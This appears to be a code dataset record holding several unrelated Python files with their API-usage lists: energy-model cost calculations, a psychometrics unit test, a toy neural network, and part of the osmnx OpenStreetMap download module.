self[\"YEAR\"][\"VALUE\"].to_list()\n discount_rate = self[\"DiscountRate\"]\n\n crf = capital_recovery_factor(\n regions, technologies, years, discount_rate, adj=0.5\n )\n except KeyError as ex:\n raise KeyError(self._msg(\"DiscountedTechnologyEmissionsPenalty\", str(ex)))\n\n emissions_penalty = annual_technology_emission_by_mode.mul(\n emission_penalty, fill_value=0.0\n )\n data = emissions_penalty.div(crf, fill_value=0.0)\n\n if not data.empty:\n data = data.groupby(by=[\"REGION\", \"TECHNOLOGY\", \"YEAR\"]).sum()\n\n return data[(data != 0).all(1)]\n\n def production_by_technology(self) -> pd.DataFrame:\n \"\"\"Compute production by technology\n\n ProductionByTechnology\n\n Notes\n -----\n From the formulation::\n\n r~REGION, l~TIMESLICE, t~TECHNOLOGY, f~FUEL, y~YEAR,\n sum{m in MODE_OF_OPERATION: OutputActivityRatio[r,t,f,m,y] <> 0}\n RateOfActivity[r,l,t,m,y] * OutputActivityRatio[r,t,f,m,y]\n * YearSplit[l,y] ~VALUE;\n \"\"\"\n try:\n rate_of_activity = self[\"RateOfActivity\"]\n output_activity_ratio = self[\"OutputActivityRatio\"]\n year_split = self[\"YearSplit\"]\n except KeyError as ex:\n raise KeyError(self._msg(\"ProductionByTechnology\", str(ex)))\n\n split_activity = rate_of_activity.mul(year_split, fill_value=0.0)\n data = split_activity.mul(output_activity_ratio, fill_value=0.0)\n if not data.empty:\n data = data.groupby(\n by=[\"REGION\", \"TIMESLICE\", \"TECHNOLOGY\", \"FUEL\", \"YEAR\"]\n ).sum()\n return data[(data != 0).all(1)]\n\n def production_by_technology_annual(self) -> pd.DataFrame:\n \"\"\"Aggregates production by technology to the annual level\n \"\"\"\n try:\n production_by_technology = self[\"ProductionByTechnology\"].copy(deep=True)\n except KeyError as ex:\n raise KeyError(self._msg(\"ProductionByTechnologyAnnual\", str(ex)))\n\n data = production_by_technology\n if not data.empty:\n data = data.groupby(by=[\"REGION\", \"TECHNOLOGY\", \"FUEL\", \"YEAR\"]).sum()\n return data[(data != 0).all(1)]\n\n def rate_of_production_tech_mode(self) -> pd.DataFrame:\n \"\"\"RateOfProductionByTechnologyByMode\n\n Notes\n -----\n From the formulation::\n\n r~REGION, l~TIMESLICE, t~TECHNOLOGY, m~MODE_OF_OPERATION, f~FUEL, y~YEAR,\n RateOfActivity[r,l,t,m,y] * OutputActivityRatio[r,t,f,m,y]~VALUE;\n \"\"\"\n try:\n rate_of_activity = self[\"RateOfActivity\"]\n output_activity_ratio = self[\"OutputActivityRatio\"]\n except KeyError as ex:\n raise KeyError(self._msg(\"RateOfProductionByTechnologyByMode\", str(ex)))\n\n data = rate_of_activity.mul(output_activity_ratio, fill_value=0.0)\n if not data.empty:\n data = data.reset_index().set_index(\n [\n \"REGION\",\n \"TIMESLICE\",\n \"TECHNOLOGY\",\n \"MODE_OF_OPERATION\",\n \"FUEL\",\n \"YEAR\",\n ]\n )\n return data[(data != 0).all(1)].sort_index()\n\n def rate_of_product_technology(self) -> pd.DataFrame:\n \"\"\"Sums up mode of operation for rate of production\n\n Notes\n -----\n From the formulation::\n\n r~REGION, l~TIMESLICE, t~TECHNOLOGY, f~FUEL, y~YEAR,\n sum{m in MODE_OF_OPERATION: OutputActivityRatio[r,t,f,m,y] <> 0}\n RateOfActivity[r,l,t,m,y] * OutputActivityRatio[r,t,f,m,y]~VALUE;\n\n \"\"\"\n try:\n rate_of_production = self[\"RateOfProductionByTechnologyByMode\"].copy(\n deep=True\n )\n except KeyError as ex:\n raise KeyError(self._msg(\"RateOfProductionByTechnology\", str(ex)))\n\n data = rate_of_production\n if not data.empty:\n data = data.groupby(\n by=[\"REGION\", \"TIMESLICE\", \"TECHNOLOGY\", \"FUEL\", \"YEAR\"]\n ).sum()\n return data[(data != 0).all(1)].sort_index()\n\n def rate_of_use_by_technology(self) -> pd.DataFrame:\n \"\"\"RateOfUseByTechnology\n\n Notes\n -----\n From the formulation::\n\n r~REGION, l~TIMESLICE, t~TECHNOLOGY, f~FUEL, y~YEAR,\n sum{m in MODE_OF_OPERATION: InputActivityRatio[r,t,f,m,y]<>0}\n RateOfActivity[r,l,t,m,y] * InputActivityRatio[r,t,f,m,y]~VALUE;\n \"\"\"\n try:\n rate_of_use_by_technology_by_mode = self[\n \"RateOfUseByTechnologyByMode\"\n ].copy(deep=True)\n except KeyError as ex:\n raise KeyError(self._msg(\"RateOfUseByTechnology\", str(ex)))\n\n data = rate_of_use_by_technology_by_mode\n if not data.empty:\n data = data.groupby(\n by=[\"REGION\", \"TIMESLICE\", \"TECHNOLOGY\", \"FUEL\", \"YEAR\"]\n ).sum()\n return data[(data != 0).all(1)]\n\n def rate_of_use_by_technology_by_mode(self) -> pd.DataFrame:\n \"\"\"RateOfUseByTechnologyByMode\n\n Notes\n -----\n From the formulation::\n\n r~REGION, l~TIMESLICE, t~TECHNOLOGY, m~MODE_OF_OPERATION, f~FUEL, y~YEAR,\n RateOfActivity[r,l,t,m,y] * InputActivityRatio[r,t,f,m,y]~VALUE;\n \"\"\"\n try:\n input_activity_ratio = self[\"InputActivityRatio\"]\n rate_of_activity = self[\"RateOfActivity\"]\n except KeyError as ex:\n raise KeyError(self._msg(\"RateOfUseByTechnology\", str(ex)))\n\n data = input_activity_ratio.mul(rate_of_activity, fill_value=0.0)\n\n return data[(data != 0).all(1)]\n\n def total_annual_tech_activity_mode(self) -> pd.DataFrame:\n \"\"\"TotalAnnualTechnologyActivityByMode\n\n Notes\n -----\n From the formulation::\n\n r~REGION, t~TECHNOLOGY, m~MODE_OF_OPERATION, y~YEAR,\n sum{l in TIMESLICE}\n RateOfActivity[r,l,t,m,y] * YearSplit[l,y]~VALUE;\n \"\"\"\n try:\n rate_of_activity = self[\"RateOfActivity\"]\n year_split = self[\"YearSplit\"]\n except KeyError as ex:\n raise KeyError(self._msg(\"TotalAnnualTechnologyActivityByMode\", str(ex)))\n\n data = rate_of_activity.mul(year_split, fill_value=0.0)\n return data[(data != 0).all(1)]\n\n def total_capacity_annual(self) -> pd.DataFrame:\n \"\"\"Compute TotalCapacityAnnual result\n\n Notes\n -----\n From the formulation::\n\n r~REGION, t~TECHNOLOGY, y~YEAR,\n ResidualCapacity[r,t,y] +\n (sum{yy in YEAR: y-yy < OperationalLife[r,t] && y-yy>=0}\n NewCapacity[r,t,yy])~VALUE;\n \"\"\"\n try:\n residual_capacity = self[\"ResidualCapacity\"]\n acc_new_capacity = self[\"AccumulatedNewCapacity\"]\n except KeyError as ex:\n raise KeyError(self._msg(\"TotalCapacityAnnual\", str(ex)))\n\n data = residual_capacity.add(acc_new_capacity, fill_value=0.0)\n return data[(data != 0).all(1)]\n\n def total_discounted_cost(self) -> pd.DataFrame:\n \"\"\"TotalDiscountedCost\n\n Notes\n -----\n From the formulation::\n\n r~REGION, y~YEAR,\n sum{t in TECHNOLOGY}\n (((( (sum{yy in YEAR: y-yy\n < OperationalLife[r,t]\n && y-yy>=0}\n NewCapacity[r,t,yy])\n + ResidualCapacity[r,t,y])\n * FixedCost[r,t,y]\n + sum{m in MODE_OF_OPERATION, l in TIMESLICE}\n RateOfActivity[r,l,t,m,y] * YearSplit[l,y]\n * VariableCost[r,t,m,y])\n / ((1+DiscountRate[r,t])^(y-min{yy in YEAR} min(yy)+0.5))\n + CapitalCost[r,t,y] * NewCapacity[r,t,y]\n / ((1+DiscountRate[r,t])^(y-min{yy in YEAR} min(yy)))\n + DiscountedTechnologyEmissionsPenalty[r,t,y]\n - DiscountedSalvageValue[r,t,y]\n ) )\n + sum{r in REGION, s in STORAGE, y in YEAR}\n (CapitalCostStorage[r,s,y] * NewStorageCapacity[r,s,y]\n / ((1+DiscountRate[r,t])^(y-min{yy in YEAR} min(yy)))\n - SalvageValueStorage[r,s,y]\n / ((1+DiscountRate[r,t])^(max{yy in YEAR}\n max(yy)-min{yy in YEAR} min(yy)+1))\n )~VALUE;\n \"\"\"\n try:\n discount_rate = self[\"DiscountRate\"]\n year_df = self[\"YEAR\"].copy(deep=True)\n region_df = self[\"REGION\"].copy(deep=True)\n\n years = year_df[\"VALUE\"].tolist()\n regions = region_df[\"VALUE\"].tolist()\n\n annual_fixed_operating_cost = self[\"AnnualFixedOperatingCost\"]\n annual_variable_operating_cost = self[\"AnnualVariableOperatingCost\"]\n capital_investment = self[\"CapitalInvestment\"]\n\n technologies = self.get_unique_values_from_index(\n [\n annual_fixed_operating_cost,\n annual_variable_operating_cost,\n capital_investment,\n ],\n \"TECHNOLOGY\",\n )\n\n discounted_emissions_penalty = self[\"DiscountedTechnologyEmissionsPenalty\"]\n discounted_salvage_value = self[\"DiscountedSalvageValue\"]\n\n # capital_cost_storage = self[\"CapitalCostStorage\"]\n except KeyError as ex:\n raise KeyError(self._msg(\"TotalDiscountedCost\", str(ex)))\n\n crf_op = capital_recovery_factor(\n regions, technologies, years, discount_rate, 0.5\n )\n crf_cap = capital_recovery_factor(\n regions, technologies, years, discount_rate, 0.0\n )\n\n undiscounted_operational_costs = annual_fixed_operating_cost.add(\n annual_variable_operating_cost, fill_value=0.0\n )\n discounted_operational_costs = undiscounted_operational_costs.div(\n crf_op, fill_value=0.0\n )\n discounted_capital_costs = capital_investment.div(crf_cap, fill_value=0.0)\n discounted_total_costs = discounted_operational_costs.add(\n discounted_capital_costs, fill_value=0.0\n )\n discounted_total_costs = discounted_total_costs.add(\n discounted_emissions_penalty, fill_value=0.0\n )\n discounted_total_costs = discounted_total_costs.sub(\n discounted_salvage_value, fill_value=0.0\n )\n\n # try:\n # new_storage_capacity = self[\"NewStorageCapacity\"]\n # storage_investment = capital_investment.mul(\n # new_storage_capacity, fill_value=0.0\n # )\n # except KeyError:\n # LOGGER.info(\"Cannot find NewStorageCapacity, assuming empty\")\n # storage_investment = pd.DataFrame()\n\n # try:\n # salvage_value_storage = self[\"SalvageValueStorage\"]\n # except KeyError:\n # LOGGER.info(\"Cannot find SalvageValueStorage, assuming empty\")\n # salvage_value_storage = pd.DataFrame()\n\n data = discounted_total_costs\n\n if not data.empty:\n data = data.groupby(by=[\"REGION\", \"YEAR\"]).sum()\n\n return data[(data != 0).all(1)].dropna()\n\n def get_unique_values_from_index(self, dataframes: List, name: str) -> List:\n \"\"\"Utility function to extract list of unique values\n\n Extract unique values from the same index of the passed dataframes\n \"\"\"\n elements = [] # type: List\n for df in dataframes:\n df = df.reset_index()\n if name in df.columns:\n elements += list(df[name].unique())\n return list(set(elements))\n\n def total_technology_annual_activity(self) -> pd.DataFrame:\n \"\"\"TotalTechnologyAnnualActivity\n\n Notes\n -----\n From the formulation::\n\n ResultsPath & \"/TotalTechnologyAnnualActivity.csv\":\n r~REGION, t~TECHNOLOGY, y~YEAR,\n sum{l in TIMESLICE, m in MODE_OF_OPERATION}\n RateOfActivity[r,l,t,m,y] * YearSplit[l,y]~VALUE;\n \"\"\"\n try:\n data = self[\"TotalAnnualTechnologyActivityByMode\"].copy(deep=True)\n except KeyError as ex:\n raise KeyError(self._msg(\"TotalTechnologyAnnualActivity\", str(ex)))\n\n if not data.empty:\n data = data.groupby([\"REGION\", \"TECHNOLOGY\", \"YEAR\"]).sum()\n\n return data[(data != 0).all(1)]\n\n def total_tech_model_period_activity(self) -> pd.DataFrame:\n \"\"\"TotalTechnologyModelPeriodActivity\n\n Notes\n -----\n From the formulation::\n\n ResultsPath & \"/TotalTechnologyModelPeriodActivity.csv\":\n r~REGION, t~TECHNOLOGY,\n sum{l in TIMESLICE, m in MODE_OF_OPERATION, y in YEAR}\n RateOfActivity[r,l,t,m,y]*YearSplit[l,y]~VALUE;\n \"\"\"\n try:\n data = self[\"TotalTechnologyAnnualActivity\"].copy(deep=True)\n except KeyError as ex:\n raise KeyError(self._msg(\"TotalTechnologyModelPeriodActivity\", str(ex)))\n\n if not data.empty:\n data = data.groupby([\"REGION\", \"TECHNOLOGY\"]).sum()\n\n return data[(data != 0).all(1)]\n\n def use_by_technology(self) -> pd.DataFrame:\n \"\"\"UseByTechnology\n\n Notes\n -----\n From the formulation::\n\n r~REGION, l~TIMESLICE, t~TECHNOLOGY, f~FUEL, y~YEAR,\n sum{m in MODE_OF_OPERATION}\n RateOfActivity[r,l,t,m,y]\n * InputActivityRatio[r,t,f,m,y]\n * YearSplit[l,y]~VALUE;\n\n \"\"\"\n try:\n rate_of_use = self[\"RateOfUseByTechnologyByMode\"]\n year_split = self[\"YearSplit\"]\n except KeyError as ex:\n raise KeyError(self._msg(\"UseByTechnology\", str(ex)))\n\n data = rate_of_use.mul(year_split, fill_value=0.0)\n\n if not data.empty:\n data = data.groupby(\n [\"REGION\", \"TIMESLICE\", \"TECHNOLOGY\", \"FUEL\", \"YEAR\"]\n ).sum()\n\n return data[(data != 0).all(1)]\n\n\ndef capital_recovery_factor(\n regions: List,\n technologies: List,\n years: List,\n discount_rate: pd.DataFrame,\n adj: float = 0.0,\n) -> pd.DataFrame:\n \"\"\"Calculates the capital recovery factor\n\n Arguments\n ---------\n regions: list\n years: list\n discount_rate: pd.DataFrame\n adj: float, default=0.0\n Adjust to beginning of the year (default), mid year (0.5) or end year (1.0)\n \"\"\"\n if regions and technologies and years:\n index = pd.MultiIndex.from_product(\n [regions, technologies, years], names=[\"REGION\", \"TECHNOLOGY\", \"YEAR\"]\n )\n crf = discount_rate.reindex(index)\n crf = crf.reset_index(level=\"YEAR\")\n crf[\"NUM\"] = crf[\"YEAR\"] - crf[\"YEAR\"].min()\n crf[\"Rate\"] = 1 + discount_rate\n crf[\"VALUE\"] = crf[\"Rate\"].pow(crf[\"NUM\"] + adj)\n return crf.reset_index()[[\"REGION\", \"TECHNOLOGY\", \"YEAR\", \"VALUE\"]].set_index(\n [\"REGION\", \"TECHNOLOGY\", \"YEAR\"]\n )\n else:\n return pd.DataFrame(\n [], columns=[\"REGION\", \"TECHNOLOGY\", \"YEAR\", \"VALUE\"]\n ).set_index([\"REGION\", \"TECHNOLOGY\", \"YEAR\"])\n" ]
[ [ "pandas.DataFrame", "pandas.MultiIndex.from_product" ] ]
eribean/girth
[ "d56958921d16dc535aceec2d6d47d341ff418036" ]
[ "src/test/test_classical_test.py" ]
[ "import unittest\n\nimport numpy as np\n\nfrom girth import create_synthetic_irt_polytomous\nfrom girth.classical import classical_test_statistics\n\n\nclass TestClassicalStatistics(unittest.TestCase):\n \"\"\"Test Fixture for classical test statistics.\"\"\"\n\n def setUp(self):\n \"\"\"Testing classical test statistics.\"\"\"\n rng = np.random.default_rng(465234543084621232141567865641323)\n\n discrimnation = rng.uniform(-2, 2, (20, 2))\n thetas = rng.standard_normal((2, 1000))\n difficulty = -1 * np.sort(rng.standard_normal((20, 3))*.5, axis=1)\n\n syn_data = create_synthetic_irt_polytomous(difficulty, discrimnation, \n thetas, model='grm_md', seed=rng)\n self.data = syn_data\n\n def test_classical_statistics_polytomous(self):\n \"\"\"Testing CTT polytomous.\"\"\"\n # Run Classical Test Statistics (Polytomous)\n results = classical_test_statistics(self.data, start_value=1, stop_value=4)\n\n # Regression Test Compared with R package CTT (itemAnalysis, rBisML=TRUE)\n item_mean = np.array([2.649, 2.793, 2.611, 2.581, 2.551, 2.404, 2.533, 2.613, 2.127,\n 2.536, 2.425, 2.401, 2.762, 2.248, 2.573, 2.458, 2.549,\n 2.711, 2.263, 2.715])\n \n ptPolySerial = np.array([0.18519409, -0.26677081, 0.22701664, 0.17493246, 0.01857994, \n -0.19123726, 0.20895748, -0.18350961, 0.24555211, -0.04361278, \n 0.38517507, 0.08073748, 0.32387954, 0.20053442, 0.11787938, \n -0.15320180, -0.15141016, 0.05840297, 0.36121673, 0.41722428])\n\n polySerial = np.array([0.22329727, -0.32313421, 0.26475102, 0.20711435, 0.01978431,\n -0.21853317,0.24929137, -0.22308782, 0.29620018, -0.04983768, \n 0.44225203, 0.09177238, 0.38307279, 0.24054010, 0.14778010, \n -0.18521153, -0.17929838, 0.07107441, 0.42084277, 0.49616586])\n\n alpha_if_deleted = np.array([0.3071786, 0.4239081, 0.2945200, 0.3088433, 0.3512205, \n 0.4029160, 0.2986372, 0.4051149, 0.2890540, 0.3685364, \n 0.2506303, 0.3348770, 0.2668133, 0.3016237, 0.3246973, \n 0.3982845, 0.3950056, 0.3410210, 0.2577887, 0.2341913])\n\n np.testing.assert_allclose(results['Mean'], item_mean, atol=1e-4)\n np.testing.assert_allclose(results['Item-Score Correlation'], ptPolySerial, atol=5e-4)\n np.testing.assert_allclose(results['Polyserial Correlation'], polySerial, atol=5e-4)\n np.testing.assert_allclose(results['Cronbach Alpha'], alpha_if_deleted, atol=5e-4)\n\n\n\n def test_classical_statistics_dichotomous(self):\n \"\"\"Testing CTT dichotomous.\"\"\" \n # Run Classical Test Statistics (Dichotomous)\n results = classical_test_statistics(self.data > 2, \n start_value=0, stop_value=1)\n\n # Regression Test Compared with R package CTT (itemAnalysis, rBisML=TRUE)\n item_mean = np.array([0.507, 0.605, 0.532, 0.516, 0.478, 0.507, 0.513, 0.549, 0.367,\n 0.507, 0.522, 0.502, 0.572, 0.443, 0.509, 0.499, 0.499, 0.569, \n 0.417, 0.579])\n \n ptPolySerial = np.array([0.13635945, -0.23690518, 0.19925177, 0.16125569, \n 0.01521503, -0.17498578, 0.20124621, -0.17413208,\n 0.22529891, -0.04521061, 0.32988860, 0.06748577,\n 0.29354804, 0.19119399, 0.09586074, -0.14640699, \n -0.12523201, 0.05451945, 0.30543711, 0.38981897])\n\n polySerial = np.array([0.17025715, -0.29648870, 0.24760697, 0.20167912, \n 0.01907977, -0.21813488, 0.24965703, -0.21828750,\n 0.28844678, -0.05666627, 0.40674749, 0.08458126,\n 0.36462512, 0.23865434, 0.11969521, -0.18380548,\n -0.15640287, 0.06870646, 0.38111201, 0.47901615])\n\n alpha_if_deleted = np.array([0.2841804, 0.3854030, 0.2653823, 0.2767744, 0.3192645, \n 0.3711947, 0.2647135, 0.3706409, 0.2590128, 0.3361899, \n 0.2247302, 0.3043355, 0.2368803, 0.2679735, 0.2960959, \n 0.3636431, 0.3579882, 0.3079945, 0.2334289, 0.2066341])\n\n np.testing.assert_allclose(results['Mean'], item_mean, atol=1e-4)\n np.testing.assert_allclose(results['Item-Score Correlation'], ptPolySerial, atol=5e-4)\n np.testing.assert_allclose(results['Polyserial Correlation'], polySerial, atol=6e-4)\n np.testing.assert_allclose(results['Cronbach Alpha'], alpha_if_deleted, atol=6e-4)\n\n\n\n\nif __name__ == \"__main__\":\n unittest.main()" ]
[ [ "numpy.testing.assert_allclose", "numpy.array", "numpy.random.default_rng" ] ]
UtsavVanodiya7/Neural-Netowork-From-Scratch
[ "01a5bba6b8a80981f8d686a8eecad0bc59b1b81f" ]
[ "NeuralNetwork.py" ]
[ "import numpy as np\r\n\r\n\r\nclass NeuralNetwork:\r\n def __init__(self, layers, lr=0.01):\r\n # By default we are going to use sigmoid activation function and bias too.\r\n self._layers = layers\r\n self._lr = lr\r\n\r\n self._layer_size = len(layers)\r\n\r\n # Right now didn't updated bias\r\n self._B = [0] * self._layer_size\r\n\r\n self._W = []\r\n\r\n for i in range(self._layer_size - 1):\r\n mat = np.random.randn(self._layers[i], self._layers[i + 1])\r\n self._W.append(mat)\r\n\r\n self._A = [0] * self._layer_size\r\n self._D = [0] * self._layer_size\r\n\r\n def sigmoid(self, x):\r\n return 1 / (1 + np.exp(-x))\r\n\r\n def train(self, X, Y, iter=100):\r\n for i in range(iter):\r\n output = self.forward(X)\r\n loss = self.backward(Y, output)\r\n print(f\"Iteration: {i}, Loss: {loss}\")\r\n\r\n def forward(self, X):\r\n # self._A[0] = self.sigmoid(X)\r\n self._A[0] = X # This one gets better result than above.\r\n\r\n for i in range(self._layer_size - 1):\r\n self._A[i + 1] = self.sigmoid(np.dot(self._A[i], self._W[i]) + self._B[i])\r\n\r\n return self._A[self._layer_size - 1]\r\n\r\n def backward(self, Y, output):\r\n # Mean square error\r\n Y_delta = output - Y\r\n\r\n loss = np.mean(np.square(Y_delta))\r\n\r\n derivative = self.sigmoid_derivative(output)\r\n output_delta = Y_delta * derivative\r\n\r\n prev_delta = output_delta\r\n\r\n self._D[self._layer_size - 2] = output_delta\r\n\r\n for i in range(self._layer_size - 2, -1, -1):\r\n temp = np.dot(prev_delta, self._W[i].T)\r\n prev_delta = temp * self.sigmoid_derivative(self._A[i])\r\n self._D[i - 1] = prev_delta\r\n\r\n for i in range(self._layer_size - 1):\r\n self._W[i] = self._W[i] - self._lr * (np.dot(self._A[i].T, self._D[i]))\r\n # self._W[i] = self._W[i] - (np.dot(self._A[i].T, self._D[i]))\r\n\r\n return loss\r\n\r\n def sigmoid_derivative(self, o):\r\n return o * (1 - o)\r\n\r\n\r\nif __name__ == '__main__':\r\n # XOR classification\r\n # X = np.array(([0, 0], [0, 1], [1, 0], [1, 1]), dtype=float)\r\n # Y = np.array(([0, 1], [1, 0], [1, 0], [0, 1]), dtype=float)\r\n #\r\n # nn = NeuralNetwork([2, 50, 50, 2], lr=0.1)\r\n # nn.train(X, Y, iter=1000)\r\n # print(nn.forward(X))\r\n\r\n # Classification on random dataset\r\n nn = NeuralNetwork([3, 50, 50, 3], lr=0.1)\r\n\r\n X = np.array(([0, 0, 1], [0, 1, 0], [1, 0, 0], [1, 0, 1], [1, 1, 0], [0, 1, 1], [1, 1, 1], [1, 1, 1]), dtype=float)\r\n Y = np.array(([1, 0, 0], [1, 0, 0], [1, 0, 0], [0, 1, 0], [0, 1, 0], [0, 1, 0], [0, 0, 1], [0, 0, 1]), dtype=float)\r\n\r\n nn.train(X, Y, iter=1000)\r\n\r\n print(nn.forward(X))\r\n" ]
[ [ "numpy.square", "numpy.array", "numpy.dot", "numpy.random.randn", "numpy.exp" ] ]
HughKelley/osmnx
[ "bdf4c5374c5c91ccc63f90b4ae16cbaa41220af7" ]
[ "osmnx/core.py" ]
[ "################################################################################\n# Module: core.py\n# Description: Retrieve and construct spatial geometries and street networks\n# from OpenStreetMap\n# License: MIT, see full license in LICENSE.txt\n# Web: https://github.com/gboeing/osmnx\n################################################################################\n\nimport datetime as dt\nimport geopandas as gpd\nimport hashlib\nimport io\nimport json\nimport logging as lg\nimport math\nimport networkx as nx\nimport numpy as np\nimport os\nimport pandas as pd\nimport re\nimport requests\nimport time\n\nfrom collections import OrderedDict\nfrom dateutil import parser as date_parser\nfrom itertools import groupby\nfrom shapely.geometry import LineString\nfrom shapely.geometry import MultiPolygon\nfrom shapely.geometry import Point\nfrom shapely.geometry import Polygon\nfrom shapely.ops import unary_union\n\nfrom . import settings\nfrom .projection import project_geometry\nfrom .projection import project_gdf\nfrom .simplify import simplify_graph\nfrom .utils import log\nfrom .utils import make_str\nfrom .utils import get_largest_component\nfrom .utils import great_circle_vec\nfrom .utils import get_nearest_node\nfrom .utils import geocode\nfrom .utils import count_streets_per_node\nfrom .utils import overpass_json_from_file\n\n\nclass EmptyOverpassResponse(ValueError):\n def __init__(self,*args,**kwargs):\n Exception.__init__(self,*args,**kwargs)\n\n\nclass InvalidDistanceType(ValueError):\n def __init__(self,*args,**kwargs):\n Exception.__init__(self,*args,**kwargs)\n\n\nclass UnknownNetworkType(ValueError):\n def __init__(self,*args,**kwargs):\n Exception.__init__(self,*args,**kwargs)\n\n\nclass InsufficientNetworkQueryArguments(ValueError):\n def __init__(self,*args,**kwargs):\n Exception.__init__(self,*args,**kwargs)\n\n\n\ndef test_function(a):\n print(\"hello, \", a)\n\ndef test_function_2(a):\n\tprint(\"test function 2\", a)\n\n\n\ndef save_to_cache(url, response_json):\n \"\"\"\n Save an HTTP response json object to the cache.\n\n If the request was sent to server via POST instead of GET, then URL should\n be a GET-style representation of request. Users should always pass\n OrderedDicts instead of dicts of parameters into request functions, so that\n the parameters stay in the same order each time, producing the same URL\n string, and thus the same hash. Otherwise the cache will eventually contain\n multiple saved responses for the same request because the URL's parameters\n appeared in a different order each time.\n\n Parameters\n ----------\n url : string\n the url of the request\n response_json : dict\n the json response\n\n Returns\n -------\n None\n \"\"\"\n \n print(\"save_to_cache()\")\n \n if settings.use_cache:\n if response_json is None:\n log('Saved nothing to cache because response_json is None')\n else:\n # create the folder on the disk if it doesn't already exist\n if not os.path.exists(settings.cache_folder):\n os.makedirs(settings.cache_folder)\n\n # hash the url (to make filename shorter than the often extremely\n # long url)\n filename = hashlib.md5(url.encode('utf-8')).hexdigest()\n cache_path_filename = os.path.join(settings.cache_folder, os.extsep.join([filename, 'json']))\n\n # dump to json, and save to file\n json_str = make_str(json.dumps(response_json))\n with io.open(cache_path_filename, 'w', encoding='utf-8') as cache_file:\n cache_file.write(json_str)\n\n log('Saved response to cache file \"{}\"'.format(cache_path_filename))\n\n\ndef get_from_cache(url):\n \"\"\"\n Retrieve a HTTP response json object from the cache.\n\n Parameters\n ----------\n url : string\n the url of the request\n\n Returns\n -------\n response_json : dict\n \"\"\"\n \n print(\"get_from_cache()\")\n \n # if the tool is configured to use the cache\n if settings.use_cache:\n # determine the filename by hashing the url\n filename = hashlib.md5(url.encode('utf-8')).hexdigest()\n\n cache_path_filename = os.path.join(settings.cache_folder, os.extsep.join([filename, 'json']))\n # open the cache file for this url hash if it already exists, otherwise\n # return None\n if os.path.isfile(cache_path_filename):\n with io.open(cache_path_filename, encoding='utf-8') as cache_file:\n response_json = json.load(cache_file)\n log('Retrieved response from cache file \"{}\" for URL \"{}\"'.format(cache_path_filename, url))\n return response_json\n\n\ndef get_http_headers(user_agent=None, referer=None, accept_language=None):\n \"\"\"\n Update the default requests HTTP headers with OSMnx info.\n\n Parameters\n ----------\n user_agent : str\n the user agent string, if None will set with OSMnx default\n referer : str\n the referer string, if None will set with OSMnx default\n accept_language : str\n make accept-language explicit e.g. for consistent nominatim result sorting\n\n Returns\n -------\n headers : dict\n \"\"\"\n\n print(\"get_http_headers()\")\n\n if user_agent is None:\n user_agent = settings.default_user_agent\n if referer is None:\n referer = settings.default_referer\n if accept_language is None:\n accept_language = settings.default_accept_language\n\n headers = requests.utils.default_headers()\n headers.update({'User-Agent': user_agent, 'referer': referer, 'Accept-Language': accept_language})\n return headers\n\n\ndef get_pause_duration(recursive_delay=5, default_duration=10):\n \"\"\"\n Check the Overpass API status endpoint to determine how long to wait until\n next slot is available.\n\n Parameters\n ----------\n recursive_delay : int\n how long to wait between recursive calls if server is currently running\n a query\n default_duration : int\n if fatal error, function falls back on returning this value\n\n Returns\n -------\n int\n \"\"\"\n \n print(\"get_pause_duration()\")\n \n try:\n response = requests.get('http://overpass-api.de/api/status', headers=get_http_headers())\n status = response.text.split('\\n')[3]\n status_first_token = status.split(' ')[0]\n except Exception:\n # if we cannot reach the status endpoint or parse its output, log an\n # error and return default duration\n log('Unable to query http://overpass-api.de/api/status', level=lg.ERROR)\n return default_duration\n\n try:\n # if first token is numeric, it's how many slots you have available - no\n # wait required\n available_slots = int(status_first_token)\n pause_duration = 0\n except Exception:\n # if first token is 'Slot', it tells you when your slot will be free\n if status_first_token == 'Slot':\n utc_time_str = status.split(' ')[3]\n utc_time = date_parser.parse(utc_time_str).replace(tzinfo=None)\n pause_duration = math.ceil((utc_time - dt.datetime.utcnow()).total_seconds())\n pause_duration = max(pause_duration, 1)\n\n # if first token is 'Currently', it is currently running a query so\n # check back in recursive_delay seconds\n elif status_first_token == 'Currently':\n time.sleep(recursive_delay)\n pause_duration = get_pause_duration()\n\n else:\n # any other status is unrecognized - log an error and return default\n # duration\n log('Unrecognized server status: \"{}\"'.format(status), level=lg.ERROR)\n return default_duration\n\n return pause_duration\n\n\ndef nominatim_request(params, type = \"search\", pause_duration=1, timeout=30, error_pause_duration=180):\n \"\"\"\n Send a request to the Nominatim API via HTTP GET and return the JSON\n response.\n\n Parameters\n ----------\n params : dict or OrderedDict\n key-value pairs of parameters\n type : string\n Type of Nominatim query. One of the following: search, reverse or lookup\n pause_duration : int\n how long to pause before requests, in seconds\n timeout : int\n the timeout interval for the requests library\n error_pause_duration : int\n how long to pause in seconds before re-trying requests if error\n\n Returns\n -------\n response_json : dict\n \"\"\"\n\n\n print(\"nominatim_request()\")\n\n known_requests = {\"search\", \"reverse\", \"lookup\"}\n if type not in known_requests:\n raise ValueError(\"The type of Nominatim request is invalid. Please choose one of {{'search', 'reverse', 'lookup'}}\")\n\n # prepare the Nominatim API URL and see if request already exists in the\n # cache\n url = settings.nominatim_endpoint.rstrip('/') + '/{}'.format(type)\n prepared_url = requests.Request('GET', url, params=params).prepare().url\n cached_response_json = get_from_cache(prepared_url)\n\n if settings.nominatim_key:\n params['key'] = settings.nominatim_key\n\n if cached_response_json is not None:\n # found this request in the cache, just return it instead of making a\n # new HTTP call\n return cached_response_json\n\n else:\n # if this URL is not already in the cache, pause, then request it\n log('Pausing {:,.2f} seconds before making API GET request'.format(pause_duration))\n time.sleep(pause_duration)\n start_time = time.time()\n log('Requesting {} with timeout={}'.format(prepared_url, timeout))\n response = requests.get(url, params=params, timeout=timeout, headers=get_http_headers())\n\n # get the response size and the domain, log result\n size_kb = len(response.content) / 1000.\n domain = re.findall(r'(?s)//(.*?)/', url)[0]\n log('Downloaded {:,.1f}KB from {} in {:,.2f} seconds'.format(size_kb, domain, time.time()-start_time))\n\n try:\n response_json = response.json()\n save_to_cache(prepared_url, response_json)\n except Exception:\n #429 is 'too many requests' and 504 is 'gateway timeout' from server\n # overload - handle these errors by recursively calling\n # nominatim_request until we get a valid response\n if response.status_code in [429, 504]:\n # pause for error_pause_duration seconds before re-trying request\n log('Server at {} returned status code {} and no JSON data. Re-trying request in {:.2f} seconds.'.format(domain,\n response.status_code,\n error_pause_duration),\n level=lg.WARNING)\n time.sleep(error_pause_duration)\n response_json = nominatim_request(params=params, pause_duration=pause_duration, timeout=timeout)\n\n # else, this was an unhandled status_code, throw an exception\n else:\n log('Server at {} returned status code {} and no JSON data'.format(domain, response.status_code), 